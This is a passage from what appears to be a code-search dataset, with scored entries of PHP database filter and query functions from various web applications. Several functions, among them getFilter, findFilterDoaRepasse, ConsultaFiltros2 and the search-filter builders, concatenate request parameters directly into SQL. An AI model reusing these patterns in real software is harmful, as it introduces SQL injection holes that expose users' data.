'no';\n\t\t\t\t$tmp = 0;\n\n\t\t\t\tfor ($i=0; $i < $donnees['total']; $i++) { \n\t\t\t\t\tfor ($j=0; $j < $admins['total']; $j++) { \n\t\t\t\t\t\tif ($donnees[$i]['id'] == $admins[$j]['id_personne']) {\n\t\t\t\t\t\t\t$donnees[$i]['id_client'] = $admins[$j]['id'];\n\t\t\t\t\t\t\t$result['data'][$tmp] = $donnees[$i];\n\t\t\t\t\t\t\t$tmp++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t$result['data']['total'] = $tmp;\n\t\t\t\tif ($tmp !=0) {\n\t\t\t\t\t$result['msg'] = 'ok';\n\t\t\t\t}\n\t\t\t\techo json_encode($result);\n\t}", "title": "" }, { "docid": "03e286812126999db385e460271644dd", "score": "0.6148875", "text": "public function getFilter(): array;", "title": "" }, { "docid": "020f4958d53c14534e0ffed18e8c3113", "score": "0.6143344", "text": "public function findFilterDoaRepasse($where){\n try{\n $sql = \"select ddr_id, ddr_matricula, ddr_nome, doa_valor_mensal, doa_qtde_parcela, smt_nome, doa_valor, ddr_titular_conta, ddr_cidade, doa_data, doa_data_final,\n name\n from cad_doacao\n left join cad_doador\n on ddr_id = doa_ddr_id\n left join tab_status_motivo\n on smt_id = doa_smt_id\n left join users \n on id = cad_doacao.created_user_id \n where \" . $where;\n\n $doacoes = DB::select($sql);\n \n return $doacoes;\n \n } catch(\\Exception $e){\n return $e;\n } \n }", "title": "" }, { "docid": "fde9a28f150e3edb143cddb8a3cdc8ee", "score": "0.613974", "text": "function getFilter($begin) { // $begin se a cláusula está no início do WHERE, e não depois de outras cláusulas (... AND ...)\n\t$res = '';\n\tglobal $export;\n\tglobal $exportList;\n\tglobal $mark;\n\tif ($export && !$exportList) {\n\t\treturn false;\n\t}\n\tglobal $table;\n\tforeach ($_GET as $key => $value) {\n\t\tif (strpos($key,'txtFilter') === 0) {\n\t\t\tif ($begin) {\n\t\t\t\t$res = $res.' WHERE';\n\t\t\t\t$begin = false;\n\t\t\t} else {\n\t\t\t\t$res = $res.' AND';\n\t\t\t}\n\t\t\t$key = substr($key,9);\n\t\t\tif (in_array($table,['checklist','especimenes','plantas','locais','locais2'])) {\n\t\t\t\tswitch ($key) {\n\t\t\t\t\tcase 'altura' : $key = \"coalesce(v.val,v.valf)||' '||vu.unit\";\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'ano' : $key = 'e.ano';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'anodet' : $key = 'd.ano';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'avô' : $key = \"ttt.nome\";\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'dap' : $key = \"coalesce(v1.val,v1.valf)||' '||vu1.unit\";\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'data' : $key = \"cast(cast(e.ano as varchar(4))||'-'||right('0'||cast(e.mes as varchar(2)),2)||'-'||right('0'||cast(e.dia as varchar(2)),2) as varchar(10))\";\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'determinador' : $key = \"coalesce(p.abrev,'')||' ('||coalesce(p.prenome,'')||')'\";\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'dia' : $key = 'e.dia';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'espécie' :\n\t\t\t\t\t\tif ($table == 'especímenes') {\n\t\t\t\t\t\t\t$key = \"ts.nome\";\n\t\t\t\t\t\t} else\n\t\t\t\t\t\tif ($table == 'plantas') {\n\t\t\t\t\t\t\t$key = \"gettax_sp(d.tax)\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'especímenes' : $key = \"especímenes\";\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'estado' : $key = 'getloc_uf(l.id)';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'família' :\n\t\t\t\t\t\tif ($table == 'especimenes') {\n\t\t\t\t\t\t\t$key = \"tf.nome\";\n\t\t\t\t\t\t} else\n\t\t\t\t\t\tif ($table == 'plantas') {\n\t\t\t\t\t\t\t$key = \"gettax_fam(d.tax)\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'gênero' :\n\t\t\t\t\t\tif ($table == 'especimenes') {\n\t\t\t\t\t\t\t$key = \"tg.nome\";\n\t\t\t\t\t\t} else\n\t\t\t\t\t\tif ($table == 'plantas') {\n\t\t\t\t\t\t\t$key = \"gettax_gen(d.tax)\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'id' :\n\t\t\t\t\t\tswitch ($table) {\n\t\t\t\t\t\t\tcase 'checklist' : $key = 't.id';\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase 'especimenes' : $key = 'e.id';\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase 'plantas' : $key = 'pl.id';\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase 'locais' :\n\t\t\t\t\t\t\tcase 'locais2' : $key = 'l.id';\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'lat' : $key = 'e.lat';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'lon' : $key = 'e.lon';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'localidade' :\n\t\t\t\t\t\tswitch ($table) {\n\t\t\t\t\t\t\tcase 'locais2' :\n\t\t\t\t\t\t\t\t$key = 'getloc(l.id)';\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tdefault :\n\t\t\t\t\t\t\t\t$key = 'l.nome';\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'mes' : $key = 'e.mes';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'município' : $key = 'getloc(l.id,8)';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'pai' : $key = \"tt.nome\";\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'país' : $key = 'getloc(l.id,3)';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'projeto' : $key = 'prj.nome';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'rank' : $key = \"r.nome\";\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'tag' : $key = \"pl.pltag\";\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'tax' : $key = 'd.tax';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'táxon' : $key = 't.nome';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'tipo' : $key = 'lt.tipo';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'uf' : $key = 'getloc(l.id,5)';\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$key = \"$table.$key\";\n\t\t\t}\n\t\t\t// modificadores do $value\n\t\t\t$modif = '';\n\t\t\twhile (in_array(substr($value,0,1),['=','>','<','!'])) {\n\t\t\t\t$modif .= substr($value,0,1);\n\t\t\t\t$value = substr($value,1);\n\t\t\t}\n\t\t\tif ($modif == '') {\n\t\t\t\t$res = $res.\" TEXT($key) ilike '%$value%'\"; // TEXT() para poder filtrar colunas numéricas\n\t\t\t} else {\n\t\t\t\tif ($modif == '!') { // Comparação usando <>\n\t\t\t\t\tif (in_array($value,['NULL','null'])) {\n\t\t\t\t\t\t$res = $res.\" ($key) is not null\";\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$res = $res.\" $key <> '$value'\";\n\t\t\t\t\t}\n\t\t\t\t} else { // Comparação usando =, >, <, >=, <=\n\t\t\t\t\tif (in_array($value,['NULL','null'])) {\n\t\t\t\t\t\t$res = $res.\" ($key) is null\";\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$res = $res.\" $key $modif '$value'\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tglobal $fIDs;\n\tif ($export || $mark == 'showMark' || isset($fIDs)) {\n\t\tswitch ($table) {\n\t\t\tcase 'checklist' : $key = 't.id';\n\t\t\t\tbreak;\n\t\t\tcase 'especimenes' : $key = 'e.id';\n\t\t\t\tbreak;\n\t\t\tcase 'locais' : $key = 'l.id';\n\t\t\t\tbreak;\n\t\t\tcase 'plantas' : $key = 'pl.id';\n\t\t\t\tbreak;\n\t\t\tdefault : $key = 'id';\n\t\t}\n\t\tif ($begin) {\n\t\t\t$res = $res.' WHERE';\n\t\t} else {\n\t\t\t$res = $res.' AND';\n\t\t}\n\t\tif ($export) {\n\t\t\t$lista = implode(',',$exportList);\n\t\t} else\n\t\tif (isset($fIDs)) {\n\t\t\t$lista = $fIDs;\n\t\t} else {\n\t\t\t$lista = implode(',',readMarks($table));\n\t\t}\n\t\t$res = $res.\" $key in ($lista)\";\n\t}\n\treturn($res);\n}", "title": "" }, { "docid": "76564ca314e6baf37b87faec395a32fe", "score": "0.6131738", "text": "function filter($id)\n {\n // actualizo la vista\n // si llega un id distinto de 0 signifca que se pidio por filtro\n if ($id != 0) {\n $destination = $this->travelModel->getByCategory($id);\n if ($destination != null) {\n $this->view->filter($destination, $id);\n } else {\n //si no trae nada mostramos que aun no tenemos cargada esa categoria\n $this->view->showError('Aún no tenemos esta categoría disponible para vos');\n }\n }\n //si llega id 0 se muestra todo lo que hay en la base de datos de destino\n else {\n $destination = $this->travelModel->getAll();\n $this->view->filter($destination, $id);\n }\n }", "title": "" }, { "docid": "dd738e3c4dec06f13318dc9f1fcf0f66", "score": "0.6122338", "text": "function ConsultaFiltros2 (&$res, &$Preinf, &$Presup, &$Idio, &$Disp, &$Paginf, &$Pagsup, &$Finf, &$Fsup, &$Tab){\n\t\tif\t(!empty($Preinf)){$PrecInf = '\"'.$Preinf.'\"';}else{$PrecInf = 'libro.Precio';}\n\t\tif\t(!empty($Presup)){$PrecSup = '\"'.$Presup.'\"';}else{$PrecSup = 'libro.Precio';}\n\t\tif\t(!empty($Idio)){$Idioma = '\"'.$Idio.'\"';}else{$Idioma = 'idioma.Descripcion';}\n\t\tif\t(!empty($Disp)){$Dispo = '\"'.$Disp.'\"';}else{$Dispo = 'disponibilidad.Descripcion';}\n\t\tif\t(!empty($Paginf)){$PagiInf = '\"'.$Paginf.'\"';}else{$PagiInf = 'libro.CantidadPaginas';}\n\t\tif\t(!empty($Pagsup)){$PagiSup = '\"'.$Pagsup.'\"';}else{$PagiSup = 'libro.CantidadPaginas';}\n\t\tif\t(!empty($Finf)){$dinf = date('Y-m-d', strtotime($Finf));$dateinf = '\"'.$dinf .'\"';}else{$dateinf = 'libro.Fecha';}\n\t\tif\t(!empty($Fsup)){$dsup = date('Y-m-d', strtotime($Fsup));$datesup = '\"'.$dsup .'\"';}else{$datesup = 'libro.Fecha';}\n\t\tif (!empty($Tab)){\n\t\t\t$IS = ' AND libro.ISBN IN ( ';\n\t\t\t$temp = '';\n\t\t\tforeach ($Tab as &$valor){\n\t\t\t\t$temp = $temp .$valor .', ';\n\t\t\t}\n\t\t\t$IS = $IS . $temp . '\"\")';\n\t\t}\n\t\t$cons = 'SELECT libro.ISBN, libro.Titulo, autor.NombreApellido, libro.CantidadPaginas, libro.Precio, idioma.Descripcion as Idioma, libro.Fecha, disponibilidad.Descripcion as Disponibilidad, libro.Visible As Estado, libro.Hojear AS Indice\n\t\t\t\tFROM libro, autor, idioma, disponibilidad\n\t\t\t\tWHERE autor.Id_Autor = libro.Id_Autor\n\t\t\t\tAND libro.Visible = 1\n\t\t\t\tAND idioma.Id_Idioma = libro.Id_Idioma\n\t\t\t\tAND disponibilidad.Id_Disponibilidad = libro.Id_Disponibilidad\n\t\t\t\tAND libro.Precio >= ' .$PrecInf .'\n\t\t\t\tAND libro.Precio <= ' .$PrecSup .'\t\n\t\t\t\tAND idioma.Descripcion = ' .$Idioma .'\n\t\t\t\tAND disponibilidad.Descripcion = ' .$Dispo .'\n\t\t\t\tAND libro.CantidadPaginas >= ' .$PagiInf .'\n\t\t\t\tAND libro.CantidadPaginas <= ' .$PagiSup .'\n\t\t\t\tAND libro.Fecha >= ' .$dateinf .'\n\t\t\t\tAND libro.Fecha <= ' .$datesup .$IS;\t\t\n\t\t$res = mysql_query($cons);\n\t}", "title": "" }, { "docid": "0a198b84eae22fef6320154753ce1513", "score": "0.61175597", "text": "public function filtrar(&$filtro)\n {\n parent::filtrar($filtro);\n $filtro_sql = '';\n return $filtro_sql;\n }", "title": "" }, { "docid": "0a198b84eae22fef6320154753ce1513", "score": "0.61175597", "text": "public function filtrar(&$filtro)\n {\n parent::filtrar($filtro);\n $filtro_sql = '';\n return $filtro_sql;\n }", "title": "" }, { "docid": "5fd540aa7aa58c63d3d323121e7b0977", "score": "0.60930663", "text": "public function queryAll($campos=\"*\",$criterio=\"\");", "title": "" }, { "docid": "5fd540aa7aa58c63d3d323121e7b0977", "score": "0.60930663", "text": "public function queryAll($campos=\"*\",$criterio=\"\");", "title": "" }, { "docid": "7f541f622df95c065d8b3a3e7ee144e3", "score": "0.6083707", "text": "public function getAllCNA($filter){\n $em = $this->getEntityManager();\n $qb = $em->createQueryBuilder();\n $qb->select('c')\n ->from('AppBundle:CNA','c')\n// ->innerJoin('c.suplier','s')\n ;\n if($filter!=\"\"){\n $qb\n ->where($qb->expr()->like('c.codReuup','?1'))\n ->orWhere($qb->expr()->like('c.codNit','?1'))\n ->orWhere($qb->expr()->like('c.address', '?1'))\n ->orWhere($qb->expr()->like('c.cucAccount', '?1'))\n ->orWhere($qb->expr()->like('c.cupAccount','?1'))\n ->orWhere($qb->expr()->like('c.name', '?1'))\n ->orWhere($qb->expr()->like('c.socialObject', '?1'))\n ->setParameter(1, '%' . $filter . '%')\n ;\n }/*else{\n $qb->setParameter('date',new \\DateTime('today'));\n }*/\n $result = $qb->getQuery();\n return $result;\n }", "title": "" }, { "docid": "e2121ad732b2240d9917fa352f0bf443", "score": "0.60706735", "text": "public function getAgendaCitasFilters($filtros)\n {\n return $this->dbManagers['agendacitas']->getAgendaCitasFilters($filtros);\n }", "title": "" }, { "docid": "a00fb97f246242584889fe9a8108dc83", "score": "0.60626256", "text": "public function filter($tipoID)\n {\n $listaorigem = origemAlimento::all();\n\n $origem=\n DB::table('ingredientes')\n ->join('origem_alimentos', 'ingredientes.idOrigem', '=', 'origem_alimentos.id')\n ->join('origem_tipos', 'origem_alimentos.id', '=', 'origem_tipos.idOrigemAlimento')\n ->select('ingredientes.id','ingredientes.nome','ingredientes.descricao', 'ingredientes.created_at','origem_alimentos.origemAlimento')\n ->distinct()\n ->where('origem_tipos.idOrigemAlimento', '=', $tipoID)\n ->get();\n\n\n\n return view(\"posts.ingredientes.showfilters\",compact('origem','listaorigem'));\n }", "title": "" }, { "docid": "80ae94f802df46d498064a8039cd7f43", "score": "0.60607153", "text": "public function searchVisit($dato){\n $datalist = [\n 'visitors.id',\n 'first_name',\n 'last_name',\n 'identification_card',\n 'sector',\n 'input',\n 'output',\n 'phone'];\n $findByFirstName=\"users.first_name\";\n $findByLastName=\"users.last_name\";\n $findByCi = \"users.identification_card\";\n $findByInput = \"handling_times.input\";\n $findByOutput = \"handling_times.output\";\n $findByPhone = \"users.phone\";\n $findSector = \"sectors.sector\";\n $data = $this\n ->filter(\n $findByFirstName,\n $dato,\n $datalist);\n if(!$data[0]){\n $data = $this\n ->filter(\n $findByLastName,\n $dato,\n $datalist);\n }\n if(!$data[0]){\n $data = $this\n ->filter(\n $findByCi,\n $dato,\n $datalist);\n }\n if(!$data[0]){\n $data = $this\n ->filter(\n $findByInput,\n $dato,\n $datalist);\n }\n if(!$data[0]){\n $data = $this\n ->filter(\n $findByOutput,\n $dato,\n $datalist);\n }\n if(!$data[0]){\n $data = $this\n ->filter(\n $findByPhone,\n $dato,\n $datalist);\n }\n if(!$data[0]){\n $data = $this\n ->filter(\n $findSector,\n $dato,\n $datalist);\n }\n return response()->json($data,200);\n }", "title": "" }, { "docid": "e79843a3bc60ffa8de0454c314e1b7fe", "score": "0.60550976", "text": "public function lista_logs_filtros($tipo, $d_inicial, $d_final, $cliente = null, $usuario = null, $sessao = null, $setores = null){ \n $this->db->from('protocolos prot');\n \n // filtra por clientes\n if($cliente != null && $cliente > 0 && $tipo == 1){\n $this->db->join('clientes_usuarios cliu', 'cliu.idclientes_usuarios = prot.id_usuario');\n $this->db->where('cliu.id_clientes', $cliente); \n } \n \n // filtra por usuário \n if($usuario != null && $usuario > 0){\n $this->db->join('clientes_usuarios cliu', 'cliu.idclientes_usuarios = prot.id_usuario');\n $this->db->where('cliu.idclientes_usuarios', $usuario); \n } \n \n // filtra por sessão (Módulos)\n if($sessao != null && $sessao > 0){\n $this->db->where('prot.tipo_registro', $sessao);\n }\n \n // filtra por setor\n if($setores != null && !empty($setores)){\n $this->db->where('prot.id_setor', $setores);\n }\n \n $this->db->where('prot.data_registro >=', $d_inicial); \n $this->db->where('prot.data_registro <=', $d_final);\n \n if($tipo != null){\n $this->db->where('prot.tipo_usuario', $tipo);\n } \n \n return $this->db->get()->result();\n }", "title": "" }, { "docid": "6fe0016585a244765af883ed9b1527ad", "score": "0.6051522", "text": "protected function setFiltroBusqueda()\n {\n \tsfLoader::loadHelpers('Date');\n \t$parcial = '';\n \t$modulo = $this->getModuleName();\n $this->modulo = $modulo;\n \t\n\t\t$this->cajaBsq = $this->getRequestParameter('caja_busqueda');\n\t\t$this->grupoBsq = $this->getRequestParameter('consejo_territorial_id');\n\t\t$this->documentacionBsq = $this->getRequestParameter('archivo_c_t[documentacion_consejo_id]');\n\t\t$this->desdeBsq = $this->getRequestParameter('desde_busqueda');\n\t\t$this->hastaBsq = $this->getRequestParameter('hasta_busqueda');\n\t\t\n\t\tif (!empty($this->cajaBsq)) {\n\t\t\t$parcial .= \" AND (ac.nombre LIKE '%$this->cajaBsq%')\";\n\t\t\t$this->getUser()->setAttribute($modulo.'_nowcaja', $this->cajaBsq);\n\t\t}\n\t\tif (!empty($this->grupoBsq)) {\n\t\t\t$parcial .= \" AND ac.consejo_territorial_id = $this->grupoBsq \";\n\t\t\t$this->getUser()->setAttribute($modulo.'_nowconsejo', $this->grupoBsq);\n\t\t}\n\t\tif (!empty($this->documentacionBsq)) {\n\t\t\t$parcial .= \" AND ac.documentacion_consejo_id = $this->documentacionBsq \";\n\t\t\t$this->getUser()->setAttribute($modulo.'_nowdocumentacion', $this->documentacionBsq);\n\t\t}\n\t\tif (!empty($this->desdeBsq)) {\n\t\t\t$parcial .= \" AND ac.fecha >= '\".format_date($this->desdeBsq,'d').\"'\";\n\t\t\t$this->getUser()->setAttribute($modulo.'_nowdesde', $this->desdeBsq);\n\t\t}\n\t\tif (!empty($this->hastaBsq)) {\n\t\t\t$parcial .= \" AND ac.fecha <= '\".format_date($this->hastaBsq,'d').\"'\";\n\t\t\t$this->getUser()->setAttribute($modulo.'_nowhasta', $this->hastaBsq);\n\t\t}\n\n\t\tif (!empty($parcial)) {\n\t\t\t$this->getUser()->setAttribute($modulo.'_nowfilter', $parcial);\n\t\t} else {\n\t\t\tif ($this->hasRequestParameter('btn_buscar')) {\n\t\t\t\t$this->getUser()->getAttributeHolder()->remove($modulo.'_nowfilter');\n\t\t\t\t$this->getUser()->getAttributeHolder()->remove($modulo.'_nowcaja');\n\t\t\t\t$this->getUser()->getAttributeHolder()->remove($modulo.'_nowconsejo');\n\t\t\t\t$this->getUser()->getAttributeHolder()->remove($modulo.'_nowdocumentacion');\n\t\t\t\t$this->getUser()->getAttributeHolder()->remove($modulo.'_nowdesde');\n\t\t\t\t$this->getUser()->getAttributeHolder()->remove($modulo.'_nowhasta');\n\t\t\t} else {\n\t\t\t\t$parcial = $this->getUser()->getAttribute($modulo.'_nowfilter');\n\t\t\t\t$this->cajaBsq = $this->getUser()->getAttribute($modulo.'_nowcaja');\n\t\t\t\t$this->categoriaBsq = $this->getUser()->getAttribute($modulo.'_nowconsejo');\n\t\t\t\t$this->categoriaBsq = $this->getUser()->getAttribute($modulo.'_nowdocumentacion');\n\t\t\t\t$this->desdeBsq = $this->getUser()->getAttribute($modulo.'_nowdesde');\n\t\t\t\t$this->hastaBsq = $this->getUser()->getAttribute($modulo.'_nowhasta');\n\t\t\t}\n\t\t} \n\t\t\n\t\tif ($this->hasRequestParameter('btn_quitar')){\n\t\t\t$this->getUser()->getAttributeHolder()->remove($modulo.'_nowfilter');\n\t\t\t$this->getUser()->getAttributeHolder()->remove($modulo.'_nowcaja');\n\t\t\t$this->getUser()->getAttributeHolder()->remove($modulo.'_nowconsejo');\n\t\t\t$this->getUser()->getAttributeHolder()->remove($modulo.'_nowdocumentacion');\n\t\t\t$this->getUser()->getAttributeHolder()->remove($modulo.'_nowdesde');\n\t\t\t$this->getUser()->getAttributeHolder()->remove($modulo.'_nowhasta');\n\t\t\t$parcial=\"\";\n\t\t\t$this->cajaBsq = \"\";\n\t\t\t$this->grupoBsq = '';\n\t\t\t$this->documentacionBsq = '';\n\t\t\t$this->desdeBsq = '';\n\t\t\t$this->hastaBsq = '';\n\t\t}\n\t\t$consejosterritoriales = ConsejoTerritorial::IdDeconsejo($this->getUser()->getAttribute('userId'),1);\n\t\t$this->roles = UsuarioRol::getRepository()->getRolesByUser($this->getUser()->getAttribute('userId'),1);\n\t\tif(Common::array_in_array(array('1'=>'1', '2'=>'2','7'=>'7'), $this->roles))\n\t\t{\n\t\t\treturn \"ac.deleted=0\".$parcial.\" AND (dc.owner_id = \".$this->getUser()->getAttribute('userId').\" OR dc.estado != 'guardado')\";\n\t\t}\n\t\telse\n\t\t{\n $responsables = ArchivoCT::getUSerREsponsables();\n\t\t return \"ac.deleted=0 \".$parcial.\" AND ac.consejo_territorial_id IN \".$consejosterritoriales.\" AND (dc.owner_id = \".$this->getUser()->getAttribute('userId').\" OR dc.estado != 'guardado')AND (ac.owner_id \".$responsables.\" OR dc.confidencial != 1 OR ac.owner_id = \".$this->getUser()->getAttribute('userId').\")\";\n }\n\t\t\n }", "title": "" }, { "docid": "8c91edf6d26e0f8fb365b0d921497e83", "score": "0.60505784", "text": "protected function getFilter()\n {\n \t$filtros = \" user_id <> 1 \";\n if (Session::getInstance()->get($this->namefilter)!=\"\") {\n $filters =(object)Session::getInstance()->get($this->namefilter);\n if ($filters->user_state != '') {\n $filtros = $filtros.\" AND user_state ='\".$filters->user_state.\"'\";\n }\n if ($filters->user_date != '') {\n $filtros = $filtros.\" AND user_date LIKE '%\".$filters->user_date.\"%'\";\n }\n if ($filters->user_names != '') {\n $filtros = $filtros.\" AND user_names LIKE '%\".$filters->user_names.\"%'\";\n }\n if ($filters->user_level != '') {\n $filtros = $filtros.\" AND user_level ='\".$filters->user_level.\"'\";\n }\n if ($filters->user_user != '') {\n $filtros = $filtros.\" AND user_user LIKE '%\".$filters->user_user.\"%'\";\n }\n\t\t}\n return $filtros;\n }", "title": "" }, { "docid": "3ee2e6a4c285963f5324690e8643d05d", "score": "0.6043351", "text": "public function getFiltros(){\n\n\t\t$periodos = Resultado::select('periodo' , DB::raw('round((count(*) / 1728 :: numeric * 100) ,2) as r'))\n\t\t\t\t\t\t\t->groupBy('periodo')\n\t\t\t\t\t\t\t->orderBy('periodo','desc')\n\t\t\t\t\t\t\t->take(3)\n\t\t\t\t\t\t\t->get();\t\t\t\t\t\t\t\t\t\n\n\t\tforeach ($periodos as $periodo){\n\t\t\t$dt = \\DateTime::createFromFormat('Ym' , $periodo->periodo);\n\t\t\t$periodo->periodo = ucwords(strftime(\"%b %Y\" , $dt->getTimeStamp()));\n\n\t\t\t$dt->modify('11 months');\n\t\t\t$periodo->periodo_fin = ucwords(strftime(\"%b %Y\" , $dt->getTimeStamp()));\n\n\t\t\tif ($periodo->r < 100){\n\t\t\t\t$periodo->css = 'bg-yellow';\n\t\t\t} else {\n\t\t\t\t$periodo->css = 'bg-lime';\n\t\t\t}\n\t\t}\n\n\t\t$data = [\n\t\t\t'page_title' => 'Resumen C.E.I.',\n\t\t\t'provincias' => Provincia::orderBy('id_provincia')->get(),\n\t\t\t'grupos' => Grupo::all(),\n\t\t\t'periodos' => $periodos,\n\n\t\t];\n\n\t\treturn view('cei.filtros' , $data);\n\t}", "title": "" }, { "docid": "d18628ea7b4ec0c482bb078b09130a61", "score": "0.6031314", "text": "public function filtroParaBuscarComercios(Request $request){\n\t\t$validate = $request->validate([\n\t\t\t'supermanzana' \t=> 'required|string|max:255',\n\t\t\t'opcion' \t\t=> 'required|string|max:1',\n\t\t\t'valor' \t\t=> 'nullable|string|max:255',\n\t\t\t'giro' \t\t\t=> 'nullable'\n\t\t]);\n\n\t\t// Se reciben los datos del formulario y se crean variables\n\t\t$supermanzana = $request->input('supermanzana');\n\t\t$opcion = $request->input('opcion');\n\t\t$valor = $request->input('valor');\n\t\t$giro = $request->input('giro');\n\n\t\tswitch ($opcion) {\n\t\t\tcase 1:\n\t\t\t\t$comercios = Comercio::with([\n\t\t\t\t\t'giroComercial' => function($query){\n\t\t\t\t\t\t$query->select(['id', 'nombre']);\n\t\t\t\t\t}\n\t\t\t\t])->where('domiciliofiscal', 'like', '%'. $supermanzana .'%')->where('nombreestablecimiento', 'like', '%'. $valor .'%')->orderBy('nombreestablecimiento', 'asc')->get(['id', 'giro_id', 'licenciafuncionamiento', 'denominacion', 'nombreestablecimiento', 'domiciliofiscal']);\n\n\t\t\t\tif (count($comercios) == 0) {\n\t\t\t\t\treturn response()->json([\n\t\t\t\t\t\t'mensaje' => 'No se encontro ningun resultado.'\n\t\t\t\t\t], 404);\n\t\t\t\t} else {\n\t\t\t\t\treturn $comercios; \n\t\t\t\t}\n\t\t\tbreak;\n\n\t\t\tcase 2:\n\t\t\t\t$comercios = Comercio::with([\n\t\t\t\t\t'giroComercial' => function($query){\n\t\t\t\t\t\t$query->select(['id', 'nombre']);\n\t\t\t\t\t}\n\t\t\t\t])->where('domiciliofiscal', 'like', '%'. $supermanzana .'%')->where('denominacion', 'like', '%'. $valor .'%')->orderBy('nombreestablecimiento', 'asc')->get(['id', 'giro_id', 'licenciafuncionamiento', 'denominacion', 'nombreestablecimiento', 'domiciliofiscal']);\n\n\t\t\t\tif (count($comercios) == 0) {\n\t\t\t\t\treturn response()->json([\n\t\t\t\t\t\t'mensaje' => 'No se encontro ningun resultado.'\n\t\t\t\t\t], 404);\n\t\t\t\t} else {\n\t\t\t\t\treturn $comercios; \n\t\t\t\t}\n\t\t\tbreak;\n\n\t\t\tcase 3:\n\t\t\t\t$comercios = Comercio::with([\n\t\t\t\t\t'giroComercial' => function($query){\n\t\t\t\t\t\t$query->select(['id', 'nombre']);\n\t\t\t\t\t}\n\t\t\t\t])->where('domiciliofiscal', 'like', '%'. $supermanzana .'%')->where('giro_id', $giro)->orderBy('nombreestablecimiento', 'asc')->get(['id','giro_id', 'licenciafuncionamiento', 'denominacion', 'nombreestablecimiento', 'domiciliofiscal']);\n\n\t\t\t\tif (count($comercios) == 0) {\n\t\t\t\t\treturn response()->json([\n\t\t\t\t\t\t'mensaje' => 'No se encontro ningun resultado.'\n\t\t\t\t\t], 404);\n\t\t\t\t} else {\n\t\t\t\t\treturn $comercios;\n\t\t\t\t}\n\t\t\tbreak;\n\n\t\t\tdefault:\n\t\t\t\treturn response()->json([\n\t\t\t\t\t\t'mensaje' => 'No se encontro ningun resultado.'\n\t\t\t\t\t], 404);\n\t\t\tbreak;\n\t\t}\n\t\t\n\t}", "title": "" }, { "docid": "ee1bde4b458a1f9b805313e7b7ebb62e", "score": "0.6016106", "text": "public function filterBrand($brandFilt){\n \n\n }", "title": "" }, { "docid": "bda7ce630352a61f6c321a8e37a446dd", "score": "0.6015654", "text": "function get_Criterio( $dataCriterio = null, $bd=null ) {\n $criterio = array();\n $cadena=\"\";\n foreach( $dataCriterio as $key => $value ){\n //limpiamos la cadena\n $value= $bd->escapar( $value );\n \n if( 0 < strlen( $dataCriterio[ $key ] ) ) {\n if($cadena!=\"\"){\n if($key==\"Nombre\"){\n $cadena.=\" AND \".$key.\" like\".\"'%$value%'\"; \n }else{\n $cadena.=\" AND \".$key.\"=\".\"'$value'\"; \n }\n }\n else{ \n if($key==\"Nombre\"){\n $cadena.=$key.\" like\".\"'%$value%'\";\n }\n else{\n $cadena.=$key.\"=\".\"'$value'\";\n \n }\n }\n if($key=='nitCuenta'){\n $criterio[\"Cuenta\"]=$value;\n }\n }\n }\n $criterio[\"cadena\"]=$cadena;\n return $criterio;\n }", "title": "" }, { "docid": "8c681e63edd9e69900acd781b2e14b85", "score": "0.60002154", "text": "function getDataArticulosSearch($whereFilter,$privilegios) {\n\t\t$tabla=\"articulos_vista\";\n\t\t$model=new Articulo();\n\t\t//Columnas que voy a mostrar\n\t $aColumns = array( 'id','CodigoArticulo','dir','idFoto','descripcion','categoria','decorado','objeto','estilo','material','dimension' ,'id_categoria','id_decorado','id_objeto','id_estilo','id_material','id_dimension','stock_total','stock_dispo');\n //Columnas por las que se va a filtrar\n\t $aColumnsFilter = array( );\n\t\t//Columna por la cual se va ordenar\n\t\t$orderByfield = 'CodigoArticulo,categoria,decorado,objeto,estilo,material,dimension';\n\n\t\t//CREATE TABLE//\n\t\t//Consigue el query que se va ejecutar\n\t\t$query=$this->getDataDefaultQuery($tabla,$aColumns,$aColumnsFilter,$orderByfield,$whereFilter);\n\t $aColumnsFilter = array('CodigoArticulo','descripcion','categoria','decorado','objeto','estilo','material','dimension');\n\t\t$query=$this->getDataArticuloQuerySearch($tabla,$query,$aColumns,$aColumnsFilter,$orderByfield);\n\t\t//Ejecuta el query, 